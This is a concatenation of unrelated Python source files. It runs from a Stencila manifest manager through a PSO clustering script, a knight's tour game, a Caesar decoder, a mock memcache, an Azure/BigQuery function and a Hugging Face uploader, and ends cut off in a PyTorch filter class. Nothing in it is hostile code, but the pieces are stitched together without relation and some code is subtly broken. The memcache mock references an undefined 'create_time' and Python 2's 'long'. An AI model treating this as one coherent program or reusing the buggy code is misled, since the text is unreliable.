            raise RuntimeError("Could not determine home directory from environment.")

        if os_name == "darwin":
            return os.path.join(home_dir, "Library", "Application Support", "Stencila")

        if os_name == "linux":
            return os.path.join(home_dir, ".stencila")

        if os_name == "windows":
            return os.path.join(home_dir, "Stencila")

        return os.path.join(home_dir, "stencila")

    def manifest_dir(self) -> str:
        """
        Get the directory in which execution registration manifests are stored.
        """
        return os.path.join(self.user_dir(), EXECUTORS_DIR_NAME)

    def manifest_path(self) -> str:
        """
        Get the path the the execution registration manifest for this type of executor (Python).
        """
        return os.path.join(self.manifest_dir(), MANIFEST_FILE_NAME)

    def register(self) -> None:
        """
        Write the registration manifest (`MANIFEST`) to the manifest path.

        The command path (i.e. path to python) is set to the currently executing python binary, before right. This is to
        provide compatibility with virtual environments. The means that if you re-run the register command with
        different python binaries a different manifest will be written out.
        """
        os.makedirs(self.manifest_dir(), exist_ok=True)
        with open(self.manifest_path(), "w") as manifest_file:
            json.dump(Interpreter.MANIFEST, manifest_file, indent=True)
        LOGGER.info("Manifest saved to '%s'", self.manifest_path())

    def deregister(self) -> None:
        """
        Remove the manifest file created with `register`.

        Does not fail if the manifest file does not exist.
        """
        if os.path.exists(self.manifest_path()):
            os.unlink(self.manifest_path())
            LOGGER.info("Deleted manifest at path '%s'", self.manifest_path())
        else:
            LOGGER.warning(
                "Not deregistering as file '%s' does not exist", self.manifest_path()
            )

def register() -> None:
    """
    Register the `MANIFEST` as defined by `EXECUTORS_DIR_NAME` and `MANIFEST_FILE_NAME`.
    """
    ManifestManager().register()

def deregister() -> None:
    """
    Deregister the `MANIFEST` as defined by `EXECUTORS_DIR_NAME` and `MANIFEST_FILE_NAME`.
    """
    ManifestManager().deregister()


# -*- coding:utf-8 -*-
import numpy as np
import numpy.linalg as LA
import math as m
from sklearn.cluster import KMeans
import pandas as pd
import DBI
import DVI
import Silhouette

def loadData(filepath, has_id, class_position):
    with open(filepath) as f:
        lines = (line.strip() for line in f)
        dataset = np.loadtxt(lines, delimiter=',', dtype=np.str, comments="#")
    if has_id:
        # Remove the first column (ID)
        dataset = np.delete(dataset, 0, axis = 1)
    if class_position == 'first':
        classes = dataset[:, 0]
        dataset = np.delete(dataset, 0, axis = 1)
        dataset = np.asarray(dataset, dtype=np.float)
    else:
        classes = dataset[:, -1]
        dataset = np.delete(dataset, -1, axis = 1)
        dataset = np.asarray(dataset, dtype=np.float)
    return dataset, classes

def center_index(data, centers):
    medoids_idx = []
    for i in list(centers.values()):
        distances = []
        for j in data:
            distance = LA.norm(np.array(j) - np.array(i), 2)
            distances.append(distance)
        medoids_idx.append(distances.index(min(distances)))
    return medoids_idx

def center(data, clusterRes, k):
    clunew = {}
    for i in range(k):
        # 计算每个组的新质心
        if clusterRes[i]:
            idx = np.array(clusterRes[i])  # numpy.where(condition) 输出满足条件的元素的坐标
            sum = np.array(data)[idx].sum(axis=0)
            avg_sum = sum / len(np.array(data)[idx])
            clunew[i]=avg_sum
    # 获取中心样本索引
    medoids_idx = center_index(data, clunew)
    print(medoids_idx)

    centroids={}
    # 获取中心样本坐标(字典形式)
    for i in clusterRes:
        for j in medoids_idx:
            if j in clusterRes[i]:
                centroids[i]=dataset[j]
    return centroids

def cal_dis(data, clu):
    """
    计算质点与数据点的距离
    :param data: 样本点
    :param clu:  粒子集合
    :param k: 类别个数
    :return: 质心与样本点距离矩阵
    """
    dis = []
    for i in data:
        dis.append(LA.norm(i - clu.reshape(k, d), 2, axis=1).tolist())
    return dis
def divide(data, dis):
    """
    对数据点分组
    :param data: 样本集合
    :param dis: 质心与所有样本的距离
    :param k: 类别个数
    :return: 分割后样本
    """
    clusterRes = {}
    for i in range(len(data)):
        seq = np.argsort(dis[i])
        if seq[0] not in list(clusterRes.keys()):
            clusterRes.setdefault(seq[0], [i])
        else:
            clusterRes[seq[0]].append(i)
    return clusterRes

def classfy(data, clu):
    """
    迭代收敛更新质心
    :param data: 样本集合
    :param clu: 单个粒子
    :param k: 类别个数
    :return: 误差， 新质心
    """
    # 样本与旧质心的距离
    clulist = cal_dis(data, clu)
    # 样本分组
    clusterRes = divide(data, clulist)
    # 更新质心
    clunew = center(data, clusterRes, len(clusterRes))

    return np.concatenate(list(clunew.values())), clusterRes

# ----------------------PSO参数设置---------------------------------
class PSO():
    def __init__(self, data, init_classify, centroids, pN, dim, max_iter):
        self.dataset = data
        self.init_classify = init_classify
        self.classify = []
        self.DBI = []
        self.DVI = []
        self.Silhouette = []
        self.centroids = centroids

        self.w = 0.8       # 惯性权重
        self.w_max = 1   # 最大权重
        self.w_min = 0.4   # 最小权重

        self.c1 = 2        # 个体学习因子，一般取值为2
        self.c2 = 2         # 全局学习因子

        self.r1 = 0.8
        self.r2 = 0.2

        self.pN = pN        # 粒子群数量
        self.dim = dim      # 搜索维度
        self.max_iter = max_iter        # 迭代次数

        self.X = np.zeros((self.pN, self.dim))      # 所有粒子的位置和速度
        self.V = np.zeros((self.pN, self.dim))

        self.pbest = np.zeros((self.pN, self.dim))      # 个体经历的最佳位置和全局最佳位置
        self.gbest = np.zeros((1, self.dim))

        self.p_fit = np.zeros(self.pN)      # 每个个体的历史最佳适应值
        self.fit = 1e10     # 全局最佳适应值

    # ---------------------初始化种群----------------------------------
    def init_Population(self):
        for i in range(self.pN):
            self.X[i] = np.concatenate(list(self.centroids.values()))
            self.V[i] = np.random.uniform(0, 1, self.dim)
            self.classify.append(self.init_classify)
            self.pbest[i] = self.X[i]
            tmp = self.function(self.X[i], self.classify[i])
            self.p_fit[i] = tmp
            if (tmp < self.fit):
                self.fit = tmp
                self.gbest = self.X[i]

    # ----------------------权重线性减少--------------------------------
    def reduce_liner_weight(self, iter):
        self.w = self.w_max - iter * (self.w_max - self.w_min) / self.max_iter
        return self.w
    # ----------------------权重非线性减少------------------------------
    def reduce_noliner_weight(self, iter):
        self.w = self.w_max - (self.w_max - self.w_min)*m.log(1+iter/self.max_iter)
        return self.w

# ---------------------适应度函数-----------------------------
    def function(self, x, classify_one):
        distances_sum = 0
        for centroid in x.reshape(k,d):
            for j in list(classify_one.values()):
                if dataset.index(centroid.tolist()) in j:
                    distances_sum += LA.norm(np.array(centroid) - np.array(dataset)[j], ord=2, axis=1).sum()
        return distances_sum

# ----------------------更新粒子位置----------------------------------
    def iterator(self):
        fitness = []
        for t in range(self.max_iter):
            self.w = self.reduce_liner_weight(t)
            # self.w = self.reduce_noliner_weight(t)
            for i in range(self.pN):                # 更新gbest\pbest
                temp = self.function(self.X[i], self.classify[i])
                if (temp < self.p_fit[i]):                  # 更新个体最优
                    self.p_fit[i] = temp
                    self.pbest[i] = self.X[i]
                    if (self.p_fit[i] < self.fit):              # 更新全局最优
                        self.gbest = self.X[i]
                        self.fit = self.p_fit[i]
            fitness.append(self.fit)
            print(self.fit)
            pso_medoids_idx = []
            for j in self.gbest.reshape(k, d):
                pso_medoids_idx.append(dataset.index(j.tolist()))

            pso_centroids = {}
            for idx in pso_medoids_idx:
                pso_centroids[classes[idx]] = dataset[idx]
            error = nearestCentroidClassifier(pso_centroids)
            print("第{i}轮迭代的准确率:{accuracy}".format(i=t, accuracy=1 - error / len(self.dataset)))

            for i in range(self.pN):
                self.V[i] = self.w * self.V[i] + self.c1 * self.r1 * (self.pbest[i] - self.X[i]) + \
                            self.c2 * self.r2 * (self.gbest - self.X[i])
                self.X[i] = self.X[i] + self.V[i]
                self.X[i], self.classify[i] =classfy(self.dataset, self.X[i])
                print(self.classify[i])
                self.DBI.append(DBI.compute_DB_index(self.dataset, self.classify[i], self.X[i].reshape(k,d), k))
                self.DVI.append(DVI.compute_DV_index(self.dataset, self.classify[i], self.X[i].reshape(k, d), k))
                self.Silhouette.append(Silhouette.compute_Silhouette(self.dataset, self.classify[i]))
            # 重新计算聚类中心和聚类划分
            # clusterRes: classify
            # clunew: centroids
        print("DBI:",min(self.DBI))
        print("DVI:",max(self.DVI))
        print("Silhouette:",max(self.Silhouette))
        return fitness, self.gbest

def nearestCentroidClassifier(pso_centroids):
    error = 0
    pso_centers = list(pso_centroids.values())
    for i, j in enumerate(dataset):
        dis = LA.norm(np.asarray(j)-np.asarray(pso_centers), 2, axis=1).tolist()
        if classes[i] != list(pso_centroids.keys())[dis.index(min(dis))]:
            error += 1
    return error

k = 11                         # number of clusters
d = 768                         # dimension for each data row
N = k*d                                             # dimension of each particle
nparticles = 5                                     # number of particles
maxiter = 10                                       # number of iteractions

dataset = pd.read_csv("Word.txt", sep=",", header=None).ix[:, 0:768].values.tolist()
print(dataset)
classes = pd.read_csv("Word.txt", sep=",", header=None).ix[:,768].values.tolist()
print(classes)

classify = {}
for i, win in enumerate(classes):
    if not classify.get(win):
        classify.setdefault(win, [i])
    else:
        classify[win].append(i)
centroids = {}
for j in classify.values():
    m = np.random.choice(j)
    centroids[m] = dataset[m]
print(centroids)

my_pso = PSO(dataset, classify, centroids, nparticles, N, maxiter)
my_pso.init_Population()
print("初始化成功!")
fitness, last_gbest= my_pso.iterator()
print("pso最佳位置:",last_gbest)
# with open("pso-km.txt", "w", encoding="utf-8") as f:
#     for i in fitness:
#         f.write(str(i)+"\n")

# import matplotlib.pyplot as plt
#
# plt.plot(list(range(len(fitness))), fitness, color='blue', label='pso-km')
# plt.legend() # 显示图例
# plt.show()

'''
k = len(som.classify)                                  # number of clusters
d = len(som.dataset_old[0])                         # dimension for each data row
N = k*d                                             # dimension of each particle
nparticles = 10                                     # number of particles
maxiter = 100                                       # number of iteractions

som_medoids_idx, som_centroids = som.som_medoids_idx, som.map_centers       # som聚类中心索引和坐标

my_pso = PSO(som.dataset_old, som.classify, dict(zip(som_medoids_idx, som_centroids)), nparticles, N, maxiter)
my_pso.init_Population()
print("初始化成功!")
fitness, last_gbest = my_pso.iterator()
print("pso最佳位置:",last_gbest)
'''


from fluidreleaser import ANDROID_VERSIONS, DEFAULT_VARIANT
import hashlib
from pathlib import Path

class Artifact:
	"""
	A class representing an artifact
	"""
	def __init__(self, artifact: Path):
		self.path = artifact
		self.filename = self.path.name
		filename_split = self.filename[:-4].split("-")
		if len(filename_split) == 6:
			filename_split.append(DEFAULT_VARIANT)

		(
			self.rom_name,
			self.version_number,
			self.version_name,
			self.build_type,
			self.device_codename,
			self.date,
			self.variant
		) = filename_split

		self.android_version = ANDROID_VERSIONS[self.version_name]

		self.sha1 = hashlib.sha1(self.path.read_bytes()).hexdigest()


import pathlib

def main():
    current_directory = str(pathlib.Path(__file__).parent.resolve())
    with open(current_directory + "/input", 'r') as fd:
        line = fd.readline().strip()

    start_of_packet_position = find_start_of_packet_position(line)
    print("Start of packet :", start_of_packet_position)
    start_of_message_position = find_start_of_message_position(line)
    print("Start of packet :", start_of_message_position)

def find_start_of_message_position(line):
    for i_char in range(14-1, len(line)):
        is_start_of_message = True
        for i_prev_char in range(13):
            if line[i_char-i_prev_char] in line[i_char-13:i_char-i_prev_char]:
                is_start_of_message = False
                break
        if is_start_of_message:
            return i_char + 1

def find_start_of_packet_position(line):
    for i in range(3, len(line)):
        if line[i] not in line[i - 3:i] and line[i - 1] not in line[i - 3:i - 1] and line[i - 2] not in line[i-3:i-2]:
            return i + 1

if __name__ == "__main__":
    main()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Hunter Harralson
304-781-158
PIC 16

Homework 7: Knights Tour
"""

import tkinter as tk
import math

class Knights_tour(tk.Frame):
    def __init__(self, parent, board_size):
        tk.Frame.__init__(self, parent)
        self.pack()
        self.parent = parent
        self.board = tk.Canvas(self, width = 500, height = 500)
        self.board.pack()
        self.inc = round(500/int(board_size)) # increment

        # create lines on the chess board
        self.board_size = int(board_size)
        self.board.bind('<Configure>', self.create_grid)

        # starting piece
        self.board.create_rectangle(0,0,self.inc,self.inc,fill="orange")
        self.board.pack()

        # quit button
        self.quit_button = tk.Button(
                self,
                text = 'Quit Game',
                command = self.terminate,
                height = 5,
                width = 20)
        self.quit_button.pack()

        self.position = [0,0] # x1, y1

        self.board.bind("<Button-1>", lambda event, arg=self.position: self.button_press(event, self.position))

    # Ends the game
    def terminate(self):
        self.quit_button.configure(text="GAME OVER")
        self.quit()

    # Fills in a square in valid positions
    def button_press(self, event, position):
        w = self.board.winfo_width() # Get current width of canvas
        inc = round(w/self.board_size) # inc = increment

        # create a square range for fill
        x1 = math.floor(event.x/inc)*inc
        x2 = math.ceil(event.x/inc)*inc
        y1 = math.floor(event.y/inc)*inc
        y2 = math.ceil(event.y/inc)*inc

        # Valid Move 1: x +- 1, y +- 2
        if ((x1 == self.position[0]+inc or x1 == self.position[0]-inc) and
            (y1 == self.position[1]-(2*inc) or y1 == self.position[1]+(2*inc))):
            self.board.create_rectangle(x1, y1,
                                        x2, y2,
                                        fill="orange") # makes new square orange
            self.board.create_rectangle(self.position[0],self.position[1],
                                       self.position[0]+inc,self.position[1]+inc,
                                       fill="blue") # makes old square blue
            self.position = [x1,y1] # update current position

        # Valid Move 2: x +- 2, y +- 1
        elif ((x1 == self.position[0]+(2*inc) or x1 == self.position[0]-(2*inc)) and
              (y1 == self.position[1]-inc or y1 == self.position[1]+inc)):
            self.board.create_rectangle(x1, y1,
                                        x2, y2,
                                        fill="orange")
            self.board.create_rectangle(self.position[0],self.position[1],
                                       self.position[0]+inc,self.position[1]+inc,
                                       fill="blue")
            self.position = [x1,y1]

        else:
            pass

    def create_grid(self, event=None):
        w = self.board.winfo_width() # Get current width of canvas
        h = self.board.winfo_height() # Get current height of canvas
        increment = w/self.board_size # how spaced each line is

        self.board.delete('grid_line') # Will only remove the grid_line

        # Creates all vertical lines at intevals of 100
        for i in range(0, w, round(increment)):
            self.board.create_line([(i, 0), (i, h)], tag='grid_line')

        # Creates all horizontal lines at intevals of 100
        for i in range(0, h, round(increment)):
            self.board.create_line([(0, i), (w, i)], tag='grid_line')

def knights_tour(board_size):
    #board_size = input("How many squares per row/column (5-10)?\n")
    root = tk.Tk()
    app = Knights_tour(root, board_size)
    root.mainloop()

if __name__ == '__main__':
    board_size = input("How many squares per row/column (5-10)?\n")
    knights_tour(board_size)


# ## Decryption

import string
import sys

def n_alpha(char):
    return ord(char)-97 # "a" start from 97

key=3 # in cieser
alpha = list(string.ascii_lowercase) #[a,b,c,d,....z]
cipher_text= list(map(n_alpha,input("Please enter the Cipher text (or c to cancel): \n").lower().replace(" ", ""))) #convert apha into numeric
plain_text = []
for i in cipher_text:
    if (i>=0) and (i<=25-key): #alpha
        plain_text.append(alpha[i-key]) #cieser shift (convert numeric into alpha)
    elif i>25-key:
        plain_text.append(alpha[(i%26-key)%26])
    else:
        print("invalid input please enter a text from a to z")
print("\nthe plain text is :\n",*plain_text,sep='')


from gi.repository import Gtk

class DtoolSearchResultsRow(Gtk.ListBoxRow):
    __gtype_name__ = 'DtoolSearchResultsRow'

    _margin = 3

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)

        self._task = None
        self._search_results = None

        hbox = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL, margin_top=self._margin, margin_bottom=self._margin,
                       margin_start=self._margin, margin_end=self._margin)
        image = Gtk.Image.new_from_icon_name('edit-find-symbolic', Gtk.IconSize.BUTTON)
        image.set_padding(12, 12)
        hbox.pack_start(image, False, False, 0)
        vbox = Gtk.Box(orientation=Gtk.Orientation.VERTICAL)
        label = Gtk.Label(xalign=0)
        label.set_markup(f'<b>Lookup server</b>')
        vbox.pack_start(label, True, True, 0)
        self._info_label = Gtk.Label(xalign=0)
        self._info_label.set_text('---')
        vbox.pack_start(self._info_label, True, True, 0)
        hbox.pack_start(vbox, True, True, 0)
        self._spinner = Gtk.Spinner(margin_top=self._margin, margin_bottom=self._margin,
                                    margin_start=self._margin, margin_end=self._margin)
        hbox.pack_start(self._spinner, False, False, 0)
        self.add(hbox)

    @property
    def search_results(self):
        return self._search_results

    @search_results.setter
    def search_results(self, search_results):
        self._search_results = search_results

    @property
    def info_label(self):
        return self._info_label

    def start_spinner(self):
        self._spinner.start()

    def stop_spinner(self):
        self._spinner.stop()

    @property
    def task(self):
        return self._task

    @task.setter
    def task(self, task):
        self._task = task


import tensorflow as tf
from tensorflow.keras.layers import Dense, Flatten, Conv2D, MaxPool2D, ReLU, Dropout
from tensorflow.keras import Model

class CharacterRecognizerModel(Model):
    def __init__(self, keep_prob, n_classes):
        super(CharacterRecognizerModel, self).__init__()
        self.keep_prob = keep_prob
        self.n_classes = n_classes

        mu = 0
        sigma = 0.1
        self.initializer = tf.keras.initializers.TruncatedNormal(mu, sigma)

        # layer 1
        self.conv1 = Conv2D(filters=3, kernel_size=5, padding='valid')
        self.maxpool1 = MaxPool2D(pool_size=(2,2), padding='same')
        self.relu1 = ReLU()
        self.dropout1 = Dropout(1 - keep_prob)

        # layer 2
        self.conv2 = Conv2D(filters=3, kernel_size=5, padding='valid')
        self.maxpool2 = MaxPool2D(pool_size=(2,2), padding='same')
        self.relu2 = ReLU()
        self.dropout2 = Dropout(1 - keep_prob)
        self.flatten2 = tf.keras.layers.Flatten()

        # layer 3
        self.conv3 = Conv2D(filters=3, kernel_size=3, padding='valid')
        self.maxpool3 = MaxPool2D(pool_size=(2,2), padding='same')
        self.relu3 = ReLU()
        self.dropout3 = Dropout(1 - keep_prob)
        self.flatten3 = tf.keras.layers.Flatten()

        self.dense4 = Dense(384)
        self.relu4 = ReLU()
        self.dense5 = Dense(128)
        self.relu5 = ReLU()

        self.dense6 = Dense(n_classes)

    def call(self, x):
        x = self.conv1(x)
        x = self.maxpool1(x)
        x = self.relu1(x)
        x = self.dropout1(x)

        x = self.conv2(x)
        x = self.maxpool2(x)
        x = self.relu2(x)
        x = self.dropout2(x)
        layer_2_flattened = self.flatten2(x)

        x = self.conv3(x)
        x = self.maxpool3(x)
        x = self.relu3(x)
        x = self.dropout3(x)
        x = tf.keras.layers.concatenate([self.flatten3(x), layer_2_flattened], 1)

        x = self.dense4(x)
        x = self.relu4(x)
        x = self.dense5(x)
        x = self.relu5(x)

        return self.dense6(x)

    def get_config(self):
        return {
            "keep_prob": self.keep_prob,
            "n_classes": self.n_classes
        }


from rest_framework import serializers, status
from rest_framework.decorators import action
from rest_framework.request import Request
from rest_framework.response import Response
from rest_framework.viewsets import ModelViewSet

from common.api_helpers.exceptions import BadRequest
from common.insight_log import EntityEvent, write_resource_insight_log

class OrderedModelViewSet(ModelViewSet):
    """Ordered model viewset to be used in internal API."""

    @action(detail=True, methods=["put"])
    def move_to_position(self, request: Request, pk: int) -> Response:
        instance = self.get_object()
        position = self._get_move_to_position_param(request)

        prev_state = self._get_insight_logs_serialized(instance)
        try:
            instance.to_index(position)
        except IndexError:
            raise BadRequest(detail="Invalid position")
        new_state = self._get_insight_logs_serialized(instance)

        write_resource_insight_log(
            instance=instance,
            author=self.request.user,
            event=EntityEvent.UPDATED,
            prev_state=prev_state,
            new_state=new_state,
        )

        return Response(status=status.HTTP_200_OK)

    @staticmethod
    def _get_insight_logs_serialized(instance):
        try:
            return instance.insight_logs_serialized
        except AttributeError:
            return instance.user.insight_logs_serialized  # workaround for UserNotificationPolicy

    @staticmethod
    def _get_move_to_position_param(request: Request) -> int:
        """
        Get "position" parameter from query params + validate it.
        Used by actions on ordered models (e.g. move_to_position).
        """

        class MoveToPositionQueryParamsSerializer(serializers.Serializer):
            position = serializers.IntegerField()

        serializer = MoveToPositionQueryParamsSerializer(data=request.query_params)
        serializer.is_valid(raise_exception=True)

        return serializer.validated_data["position"]


import os
import pickle
import time as t

MAX_KEY = 180
MAX_VALUE = 1024*1024
MAX_MULTI = 60
MAX_INT = 2**63-1
MIN_INT = -2**63

class BaeMemcache(object):
    @staticmethod
    def countable(v):
        ret = False
        if isinstance(v, int) or isinstance(v, long):
            ret = True
        if isinstance(v, str) and (v.isdigit() or (len(v) > 0 and v[0] == '-' and v[1:].isdigit())):
            ret = True
        return ret

    def __init__(self, servers = []):
        self.servers = servers
        self._cache = {} #{key: (value, expire)}

    def __del__(self):
        with open(os.path.join(os.environ['APP_ROOT'], 'memcache.data.'+t.strftime("%Y%m%d%H%M%S")), 'w+') as f:
            pickle.dump(self._cache, f)

    def _set(self, cmd, key, vals, time): #vals: (values, creat_time)
        value = vals[0]
        if self.countable(value):
            value = str(value)
        value_len = len(pickle.dumps(value)) if not isinstance(value, str) else len(value)
        if len(key) > MAX_KEY or  value_len > MAX_VALUE:
            raise Exception
        if cmd == 'add' and key in self._cache:
            return False
        if cmd == 'replace' and key not in self._cache:
            return False
        creat_time = vals[1]
        expire = time + create_time if time > 0 else 0
        self._cache[key] = (value, expire)
        return True

    def _get(self, cmd, key, delta = None):
        if len(key) > MAX_KEY or (delta is not None and not isinstance(delta, int)):
            raise Exception
        if key not in self._cache:
            return None
        value = self._cache[key]
        flag = False
        if value[1] > 0 and t.time() > value[1]:
            self._cache.pop(key)
            return None
        ret = value[0]
        if self.countable(ret):
            flag = True
            if long(ret) > MAX_INT:
                ret = MAX_INT
            if long(ret) < MIN_INT:
                ret = MIN_INT
        if cmd == 'get':
            return ret
        if cmd == 'incr':
            if not flag:
                return str(delta)
            incr = int(ret) + delta
            if incr > MAX_INT:
                return str(MIN_INT + delta - (MAX_INT - int(ret)) - 1)
            if incr < MIN_INT:
                return str(MAX_INT + delta - (int(ret) - MIN_INT) + 1)
            return str(incr)
        if cmd == 'decr':
            if not flag:
                return '0'
            decr = int(ret) - delta
            if decr < MIN_INT:
                return str(MAX_INT - delta + (int(ret) - MIN_INT) + 1)
            if decr > MAX_INT:
                return str(MIN_INT - delta + (MAX_INT - int(ret)) - 1)
            if decr < 0:
                return '0'
            return str(decr)

    def set(self, key, value, time = 0, min_compress_len = 0):
        return self._set('set', key, (value, t.time()), time)

    def add(self, key, value, time = 0, min_compress_len = 0):
        return self._set('add', key, (value, t.time()), time)

    def replace(self, key, value, time = 0, min_compress_len = 0):
        return self._set('replace', key, (value, t.time()), time)

    def get(self, key):
        return self._get('get', key)

    def incr(self, key, delta = 1):
        return self._get('incr', key, delta)

    def decr(self, key, delta = 1):
        return self._get('decr', key, delta)

    def delete(self, key, time = 0):
        if key not in self._cache:
            return False
        if time > 0:
            self._cache[key][1] = t.time() + time
        else:
            self._cache.pop(key)

    def set_multi(self, mapping, time = 0, key_prefix = None, min_compress_len = 0):
        if len(mapping) > MAX_MULTI:
            raise Exception
        creat_time = t.time()
        ret = []
        for k, v in mapping.items():
            _k = k if key_prefix is None else key_prefix + k
            if self._set('set', _k, (v, creat_time), time) == False:
                ret.append(k)
        return ret

    def get_multi(self, keys, key_prefix = None):
        if len(keys) > MAX_MULTI:
            raise Exception
        values = []
        for k in keys:
            if key_prefix is not None:
                k = key_prefix + k
            values.append(self._get('get', k))
        return dict(zip(keys, values))


import logging
import azure.functions as func

from datetime import datetime, timedelta, timezone

from pypika import Query, Table, Order
from google.oauth2 import service_account
from google.cloud import bigquery
from pathlib import Path
from pandas import to_datetime
from typing import List

def main(req: func.HttpRequest) -> func.HttpResponse:

    logging.info('Python HTTP trigger function processed a request.')

    curr_filepath = Path(__file__).resolve().parent
    SCOPES = ['https://www.googleapis.com/auth/bigquery']
    SERVICE_ACCOUNT_FILE = f'{curr_filepath}/mixidea-91a20-b46f8dcd017d.json'
    log = Table("mixidea-91a20.mixidea_data2.shared_log3")

    credentials = service_account.Credentials.from_service_account_file(SERVICE_ACCOUNT_FILE, scopes=SCOPES)
    bigquery_client = bigquery.Client(credentials=credentials, project=credentials.project_id)

    query = """
        SELECT *
        FROM `mixidea-91a20.mixidea_data2.shared_log3`
        LIMIT 20
    """
    query_job = bigquery_client.query(query)  # Make an API request.
    raw_data = list(query_job.result())
    print("The query data:")
    for row in raw_data:
        logging.info(row)
        user_name = row.get('user_name')
        logging.info(user_name)
        browser = row.get('browser')
        logging.info(browser)

    logging.info('ttt dd')

    name = req.params.get('name')
    if not name:
        try:
            print('ccc')
            req_body = req.get_json()
            print(req_body)
        except ValueError:
            pass
        else:
            name = req_body.get('name')

    if name:
        print('bbb')
        return func.HttpResponse(f"Hello, {name}. This HTTP triggered function executed successfully.")
    else:
        print('aaa')
        return func.HttpResponse(
             "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response.",
             status_code=200
        )


from datasets import load_dataset, DatasetDict
import os
dataset_folder = "disk/dataset"
token = ""

ds = DatasetDict()

for file in os.listdir(dataset_folder):
    if file.endswith(".json"):
        file_name = file.split(".")[0]  #make it aplhanmueric only
        file_name = "".join([i for i in file_name if i.isalpha() or i.isdigit()])
        #upload to hub carlesoctav/en-id-parallel-sentences, on subset file
        dataset = load_dataset('json', data_files=f"{dataset_folder}/{file}")["train"]
        ds.update({file_name:dataset})
    if file.endswith(".csv"):
        file_name = file.split(".")[0]  #make it aplhanmueric only
        file_name = "".join([i for i in file_name if i.isalpha() or i.isdigit()])
        #upload to hub carlesoctav/en-id-parallel-sentences, on subset file
        dataset = load_dataset('csv', data_files=f"{dataset_folder}/{file}", sep="\t",
                               names=["text_en","text_id"])["train"]
        ds.update({file_name:dataset})

print(ds)
print(ds.push_to_hub("carlesoctav/en-id-parallel-sentences",token =token ))


import torch
import torch.nn as nn
import torch.optim as optim
from torch.distributions import Normal
from filters.bayes_filter import Generator

DEVICE = torch.device('cuda' if torch.cuda.is_available() else 'cpu')

class SimpleFilter(nn.Module):
    def __init__(self, seq_length, x_dim, u_dim, z_dim, u_max, sys):

        super(SimpleFilter, self).__init__()
        self.sys = sys
        self.T = seq_length
        self.x_dim = x_dim
        self.u_dim = u_dim
        self.u_max = u_max
        self.z_dim = z_dim
        self.w_dim = z_dim
        self.h_dim = 128

        self._initial_generator = Generator(z_dim=self.z_dim, h_dim=self.h_dim, x_dim=self.x_dim, w_dim=self.w_dim, T=self.T)
        self._create_observation_network()
        self._create_decoding_network()
        self._create_optimizer()
        self.cast = lambda x: x
        self.it = 0
        self.c = 1

    def _create_observation_network(self):
        self.encode = nn.Sequential(nn.Linear(self.z_dim, self.h_dim),
                                   nn.Sigmoid(), nn.BatchNorm1d(self.h_dim),
                                   nn.Linear(self.h_dim, self.h_dim))

        self.q_trans = nn.LSTM(input_size=self.u_dim, hidden_size=self.h_dim)
        self.q_trans_μ = nn.Sequential(nn.Linear(self.h_dim, self.h_dim),
                                   nn.Sigmoid(), nn.BatchNorm1d(self.h_dim),
                                   nn.Linear(self.h_dim, self.z_dim))
        self.q_trans_σ = nn.Sequential(nn.Linear(self.h_dim, self.h_dim),
                                   nn.Sigmoid(), nn.BatchNorm1d(self.h_dim),
                                   nn.Linear(self.h_dim, self.z_dim),
                                   nn.Softplus())

    def _create_decoding_network(self):
        self.p_θ_μ = nn.Sequential(nn.Linear(self.z_dim, self.h_dim),
                                   nn.Sigmoid(), nn.BatchNorm1d(self.h_dim),
                                   nn.Linear(self.h_dim, self.h_dim),
                                   nn.Sigmoid(), nn.BatchNorm1d(self.h_dim),
                                   nn.Linear(self.h_dim, self.x_dim))
        self.p_θ_σ = nn.Sequential(nn.Linear(self.z_dim, self.h_dim),
                                   nn.Sigmoid(), nn.BatchNorm1d(self.h_dim),
                                   nn.Linear(self.h_dim, self.h_dim),
                                   nn.Sigmoid(), nn.BatchNorm1d(self.h_dim),
                                   nn.Linear(self.h_dim, self.x_dim),
                                   nn.Softplus())

    def decode(self, z_):
        p_μ, p_σ = self.p_θ_μ(z_), self.p_θ_σ(z_)
        dist_p_θ = Normal(p_μ, p_σ)
        x_ = dist_p_θ.rsample()
        return x_, (p_μ, p_σ)

    def propagate_solution(self, x, u):
        batch_size = x.shape[0]

        z, (w1_μ, w1_σ) = self._initial_generator(x)

        x1, (x1_μ, x1_σ) = self.decode(z)
        x_pred, z_pred, x_dists = [], [], []
        x_pred.append(x1.unsqueeze(1))
        x_dists.append(torch.stack([x1_μ, x1_σ], dim=-1).unsqueeze(1))
        z_pred.append(z.unsqueeze(1))

        for t in range(1, self.T):
            if t == 1:
                z_, c = self.forward(z=z, u=u[:, t - 1], c=None)
            else:
                z_, c = self.forward(z=z, u=u[:, t - 1], c=c)
            x_, (x_μ, x_σ) = self.decode(z_)
            # Bookkeeping
            x_pred.append(x_.unsqueeze(1))
            x_dists.append(torch.stack([x_μ, x_σ], dim=-1).unsqueeze(1))
            z_pred.append(z_.unsqueeze(1))
            z = z_
        x_pred = torch.cat(x_pred, dim=1)
        z_pred = torch.cat(z_pred, dim=1)
        x_dists = torch.cat(x_dists, dim=1)
        return x_pred, [], z_pred, x_dists

    def forward(self, z, u, c=None):
        u = torch.clamp(u, min=-self.u_max, max=self.u_max)
        batch_size = u.shape[0]
        if c is None:
            c = torch.zeros(1, batch_size, self.h_dim)
        h = self.encode(z)
        state_tuple = (h.view(1, batch_size, self.h_dim), c)
        trans, state_tuple = self.q_trans(u.view(1, batch_size, self.u_dim), state_tuple)
        trans = trans.squeeze(0)
        trans_μ, trans_σ = self.q_trans_μ(trans), self.q_trans_σ(trans)

        z_dist = Normal(trans_μ, trans_σ)

        z_ = z_dist.rsample()
        return z_, c

    @property
    def params(self):
        return self._initial_generator.params \
               + list(self.q_trans.parameters()) + list(self.q_trans_μ.parameters()) \
               + list(self.q_trans_σ.parameters()) \
               + list(self.p_θ_μ.parameters()) + list(self.p_θ_σ.parameters()) \
               + list(self.encode.parameters())

    @property
    def networks(self):
        return self._initial_generator.networks + [self.q_trans, self.q_trans_μ, self.q_trans_σ, self.p_θ_μ, self.p_θ_σ,
                                                  self.encode]

    def _create_optimizer(self):
        # self.optimizer = optim.Adadelta(self.params, lr=1e-1)
        self.optimizer = optim.Adam(self.params, lr=1e-3)
        self.loss_rec = nn.MSELoss()

    def save_params(self, path='param/dvbf_lstm.pkl'):
        save_dict = {'init_dict': self.init_dict,
                    'networks': [network.state_dict() for network in self.networks]}
        torch.save(save_dict, path)

    def prepare_update(self):
        if DEVICE == 'cuda':
